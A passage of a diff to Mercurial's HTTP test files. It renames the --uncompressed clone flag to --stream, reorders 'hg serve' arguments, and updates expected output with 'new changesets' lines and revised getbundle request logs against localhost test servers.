   6 files to transfer, 606 bytes of data
   transferred * bytes in * seconds (*/sec) (glob)
@@ -57,13 +57,14 @@
 
 try to clone via stream, should use pull instead
 
-  $ hg clone --uncompressed http://localhost:$HGPORT1/ copy2
+  $ hg clone --stream http://localhost:$HGPORT1/ copy2
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -75,7 +76,7 @@
   >     localrepo.localrepository.supportedformats.remove('generaldelta')
   > EOF
 
-  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --uncompressed http://localhost:$HGPORT/ copy3
+  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --stream http://localhost:$HGPORT/ copy3
   warning: stream clone requested but client is missing requirements: generaldelta
   (see https://www.mercurial-scm.org/wiki/MissingRequirement for more information)
   requesting all changes
@@ -83,6 +84,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -94,6 +96,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg verify -R copy-pull
@@ -116,6 +119,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg log -r . -R updated
@@ -133,6 +137,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd partial
@@ -158,6 +163,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5fed3813f7f5
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_NODE_LAST=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=http://localhost:$HGPORT1/
   (run 'hg update' to get a working copy)
   $ cd ..
@@ -236,6 +242,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   5 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -337,6 +344,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -346,6 +354,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -357,7 +366,7 @@
 Check error reporting while pulling/cloning
 
   $ $RUNTESTDIR/killdaemons.py
-  $ hg -R test serve -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
+  $ hg serve -R test -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
   $ cat hg3.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ abort-clone
   requesting all changes
@@ -368,7 +377,7 @@
 
 disable pull-based clones
 
-  $ hg -R test serve -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
+  $ hg serve -R test -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
   $ cat hg4.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT1/ disable-pull-clone
   requesting all changes
@@ -378,7 +387,7 @@
 
 ... but keep stream clones working
 
-  $ hg clone --uncompressed --noupdate http://localhost:$HGPORT1/ test-stream-clone
+  $ hg clone --stream --noupdate http://localhost:$HGPORT1/ test-stream-clone
   streaming all changes
   * files to transfer, * of data (glob)
   transferred * in * seconds (* KB/sec) (glob)
@@ -391,6 +400,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R test-partial-clone
@@ -400,6 +410,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets 5fed3813f7f5:56f9bc90cce6
   (run 'hg update' to get a working copy)
 
   $ cat error.log
diff --git a/tests/test-http-clone-r.t b/tests/test-http-clone-r.t
--- a/tests/test-http-clone-r.t
+++ b/tests/test-http-clone-r.t
@@ -9,6 +9,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -32,6 +33,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bfaf4b5cbf01
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -43,6 +45,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:21f32785131f
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -54,6 +57,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:4ce51a113780
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -65,6 +69,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets bfaf4b5cbf01:93ee6ab32777
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -76,6 +81,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:c70afb1ee985
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -87,6 +93,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:f03ae5a9b979
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -98,6 +105,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:095cb14b1b4d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -109,6 +117,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets bfaf4b5cbf01:faa2e4234c7a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -120,6 +129,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:916f1afdef90
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -135,6 +145,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -151,6 +162,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -165,6 +177,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files
+  new changesets 4ce51a113780:916f1afdef90
   (run 'hg update' to get a working copy)
   $ cd ..
   $ cd test-2
@@ -175,6 +188,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985:f03ae5a9b979
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -189,6 +203,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 4 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
   $ hg verify
   checking changesets
diff --git a/tests/test-http-protocol.t b/tests/test-http-protocol.t
--- a/tests/test-http-protocol.t
+++ b/tests/test-http-protocol.t
@@ -10,7 +10,7 @@
   $ hg -q commit -A -m initial
   $ cd ..
 
-  $ hg -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
 
 compression formats are advertised in compression capability
@@ -25,7 +25,7 @@
 
 server.compressionengines can replace engines list wholesale
 
-  $ hg --config server.compressionengines=none -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve --config server.compressionengines=none -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ get-with-headers.py $LOCALIP:$HGPORT '?cmd=capabilities' | tr ' ' '\n' | grep '^compression=none$' > /dev/null
 
@@ -33,7 +33,7 @@
 
 Order of engines can also change
 
-  $ hg --config server.compressionengines=none,zlib -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve --config server.compressionengines=none,zlib -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ get-with-headers.py $LOCALIP:$HGPORT '?cmd=capabilities' | tr ' ' '\n' | grep '^compression=none,zlib$' > /dev/null
 
@@ -41,7 +41,7 @@
 
 Start a default server again
 
-  $ hg -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
 Server should send application/mercurial-0.1 to clients if no Accept is used
@@ -113,7 +113,7 @@
 Now test protocol preference usage
 
   $ killdaemons.py
-  $ hg --config server.compressionengines=none,zlib -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve --config server.compressionengines=none,zlib -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
 No Accept will send 0.1+zlib, even though "none" is preferred b/c "none" isn't supported on 0.1
diff --git a/tests/test-http-proxy.t b/tests/test-http-proxy.t
--- a/tests/test-http-proxy.t
+++ b/tests/test-http-proxy.t
@@ -14,7 +14,7 @@
 
 url for proxy, stream
 
-  $ http_proxy=http://localhost:$HGPORT1/ hg --config http_proxy.always=True clone --uncompressed http://localhost:$HGPORT/ b
+  $ http_proxy=http://localhost:$HGPORT1/ hg --config http_proxy.always=True clone --stream http://localhost:$HGPORT/ b
   streaming all changes
   3 files to transfer, 303 bytes of data
   transferred * bytes in * seconds (*/sec) (glob)
@@ -39,6 +39,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd b-pull
@@ -58,6 +59,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -69,6 +71,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -80,6 +83,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -98,6 +102,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 83180e7845de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cat proxy.log
@@ -105,16 +110,16 @@
   * - - [*] "GET http://localhost:$HGPORT/?cmd=branchmap HTTP/1.1" - - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=stream_out HTTP/1.1" - - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D83180e7845de420a1bb46896fd5fe05294f8d629 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=83180e7845de420a1bb46896fd5fe05294f8d629&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=83180e7845de420a1bb46896fd5fe05294f8d629&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
diff --git a/tests/test-http.t b/tests/test-http.t
--- a/tests/test-http.t
+++ b/tests/test-http.t
@@ -31,7 +31,7 @@
 
 clone via stream
 
-  $ hg clone --uncompressed http://localhost:$HGPORT/ copy 2>&1
+  $ hg clone --stream http://localhost:$HGPORT/ copy 2>&1
   streaming all changes
   6 files to transfer, 606 bytes of data
   transferred * bytes in * seconds (*/sec) (glob)
@@ -48,13 +48,14 @@
 
 try to clone via stream, should use pull instead
 
-  $ hg clone --uncompressed http://localhost:$HGPORT1/ copy2
+  $ hg clone --stream http://localhost:$HGPORT1/ copy2
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -66,7 +67,7 @@
   >     localrepo.localrepository.supportedformats.remove('generaldelta')
   > EOF
 
-  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --uncompressed http://localhost:$HGPORT/ copy3
+  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --stream http://localhost:$HGPORT/ copy3
   warning: stream clone requested but client is missing requirements: generaldelta
   (see https://www.mercurial-scm.org/wiki/MissingRequirement for more information)
   requesting all changes
@@ -74,6 +75,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -85,6 +87,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg verify -R copy-pull
@@ -107,6 +110,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg log -r . -R updated
@@ -124,6 +128,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd partial
@@ -149,6 +154,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5fed3813f7f5
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_NODE_LAST=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=http://localhost:$HGPORT1/
   (run 'hg update' to get a working copy)
   $ cd ..
@@ -227,6 +233,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   5 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -284,11 +291,11 @@
   "GET /?cmd=stream_out HTTP/1.1" 401 - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=stream_out HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D5fed3813f7f5e1824344fdc9cf8f63bb662c292d x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 401 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 401 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=lookup HTTP/1.1" 200 - x-hgarg-1:key=tip x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=listkeys HTTP/1.1" 401 - x-hgarg-1:namespace=namespaces x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
@@ -325,6 +332,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -334,6 +342,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -345,7 +354,7 @@
 check abort error reporting while pulling/cloning
 
   $ $RUNTESTDIR/killdaemons.py
-  $ hg -R test serve -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
+  $ hg serve -R test -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
   $ cat hg3.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ abort-clone
   requesting all changes
@@ -356,7 +365,7 @@
 
 disable pull-based clones
 
-  $ hg -R test serve -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
+  $ hg serve -R test -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
   $ cat hg4.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT1/ disable-pull-clone
   requesting all changes
@@ -367,7 +376,7 @@
 
 ... but keep stream clones working
 
-  $ hg clone --uncompressed --noupdate http://localhost:$HGPORT1/ test-stream-clone
+  $ hg clone --stream --noupdate http://localhost:$HGPORT1/ test-stream-clone
   streaming all changes
   * files to transfer, * of data (glob)
   transferred * in * seconds (*/sec) (glob)
@@ -381,6 +390,7 @@
   adding manifests
   adding file changes
